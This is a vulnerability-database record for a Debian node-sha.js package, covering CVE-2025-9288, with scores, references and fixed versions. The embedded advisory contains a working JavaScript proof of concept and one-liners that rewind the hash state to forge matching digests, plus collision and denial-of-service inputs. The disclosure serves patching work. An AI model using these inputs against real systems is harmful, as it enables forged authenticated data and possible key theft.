Lookup for vulnerable packages by Package URL.

Purlpkg:deb/debian/node-sha.js@2.4.11%2B~2.4.0-2%2Bdeb13u1?distro=trixie
Typedeb
Namespacedebian
Namenode-sha.js
Version2.4.11+~2.4.0-2+deb13u1
Qualifiers
distro trixie
Subpath
Is_vulnerablefalse
Next_non_vulnerable_version2.4.12+~3.0.5-1
Latest_non_vulnerable_version2.4.12+~3.0.5-1
Affected_by_vulnerabilities
Fixing_vulnerabilities
0
url VCID-eraj-dyxs-xkfd
vulnerability_id VCID-eraj-dyxs-xkfd
summary
sha.js is missing type checks leading to hash rewind and passing on crafted data
### Summary

This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.

Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

### Details

See PoC

### PoC
```js
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```

Output:
```
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
```

Or just:
```console
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
```

### Impact

1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9288.json
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9288.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-9288
reference_id
reference_type
scores
0
value 0.00045
scoring_system epss
scoring_elements 0.13673
published_at 2026-04-21T12:55:00Z
1
value 0.00045
scoring_system epss
scoring_elements 0.13599
published_at 2026-04-18T12:55:00Z
2
value 0.00045
scoring_system epss
scoring_elements 0.13603
published_at 2026-04-16T12:55:00Z
3
value 0.00045
scoring_system epss
scoring_elements 0.13692
published_at 2026-04-13T12:55:00Z
4
value 0.00045
scoring_system epss
scoring_elements 0.13741
published_at 2026-04-12T12:55:00Z
5
value 0.00045
scoring_system epss
scoring_elements 0.13819
published_at 2026-04-02T12:55:00Z
6
value 0.00045
scoring_system epss
scoring_elements 0.13778
published_at 2026-04-11T12:55:00Z
7
value 0.00045
scoring_system epss
scoring_elements 0.1376
published_at 2026-04-08T12:55:00Z
8
value 0.00045
scoring_system epss
scoring_elements 0.1381
published_at 2026-04-09T12:55:00Z
9
value 0.00045
scoring_system epss
scoring_elements 0.13875
published_at 2026-04-04T12:55:00Z
10
value 0.00045
scoring_system epss
scoring_elements 0.13677
published_at 2026-04-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-9288
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9288
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9288
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/browserify/sha.js
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/browserify/sha.js
5
reference_url https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5
6
reference_url https://github.com/browserify/sha.js/pull/78
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/
url https://github.com/browserify/sha.js/pull/78
7
reference_url https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/
url https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
8
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html
9
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-9288
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-9288
10
reference_url https://www.cve.org/CVERecord?id=CVE-2025-9287
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
1
value 9.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/
url https://www.cve.org/CVERecord?id=CVE-2025-9287
11
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111769
reference_id 1111769
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111769
12
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2389980
reference_id 2389980
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2389980
13
reference_url https://github.com/advisories/GHSA-95m3-7q98-8xr5
reference_id GHSA-95m3-7q98-8xr5
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-95m3-7q98-8xr5
14
reference_url https://access.redhat.com/errata/RHSA-2025:14474
reference_id RHSA-2025:14474
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14474
15
reference_url https://access.redhat.com/errata/RHSA-2025:14767
reference_id RHSA-2025:14767
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14767
16
reference_url https://access.redhat.com/errata/RHSA-2025:15847
reference_id RHSA-2025:15847
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:15847
17
reference_url https://access.redhat.com/errata/RHSA-2025:16020
reference_id RHSA-2025:16020
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:16020
18
reference_url https://access.redhat.com/errata/RHSA-2025:18278
reference_id RHSA-2025:18278
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:18278
19
reference_url https://access.redhat.com/errata/RHSA-2025:18744
reference_id RHSA-2025:18744
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:18744
20
reference_url https://access.redhat.com/errata/RHSA-2025:22905
reference_id RHSA-2025:22905
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:22905
21
reference_url https://access.redhat.com/errata/RHSA-2026:3710
reference_id RHSA-2026:3710
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:3710
22
reference_url https://access.redhat.com/errata/RHSA-2026:3712
reference_id RHSA-2026:3712
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:3712
23
reference_url https://usn.ubuntu.com/7778-1/
reference_id USN-7778-1
reference_type
scores
url https://usn.ubuntu.com/7778-1/
fixed_packages
0
url pkg:deb/debian/node-sha.js@2.4.11-2?distro=trixie
purl pkg:deb/debian/node-sha.js@2.4.11-2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.11-2%3Fdistro=trixie
1
url pkg:deb/debian/node-sha.js@2.4.11-2%2Bdeb11u1?distro=trixie
purl pkg:deb/debian/node-sha.js@2.4.11-2%2Bdeb11u1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.11-2%252Bdeb11u1%3Fdistro=trixie
2
url pkg:deb/debian/node-sha.js@2.4.11%2B~2.4.0-2%2Bdeb12u1?distro=trixie
purl pkg:deb/debian/node-sha.js@2.4.11%2B~2.4.0-2%2Bdeb12u1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.11%252B~2.4.0-2%252Bdeb12u1%3Fdistro=trixie
3
url pkg:deb/debian/node-sha.js@2.4.11%2B~2.4.0-2%2Bdeb13u1?distro=trixie
purl pkg:deb/debian/node-sha.js@2.4.11%2B~2.4.0-2%2Bdeb13u1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.11%252B~2.4.0-2%252Bdeb13u1%3Fdistro=trixie
4
url pkg:deb/debian/node-sha.js@2.4.12%2B~3.0.5-1?distro=trixie
purl pkg:deb/debian/node-sha.js@2.4.12%2B~3.0.5-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.12%252B~3.0.5-1%3Fdistro=trixie
aliases CVE-2025-9288, GHSA-95m3-7q98-8xr5
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-eraj-dyxs-xkfd
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:deb/debian/node-sha.js@2.4.11%252B~2.4.0-2%252Bdeb13u1%3Fdistro=trixie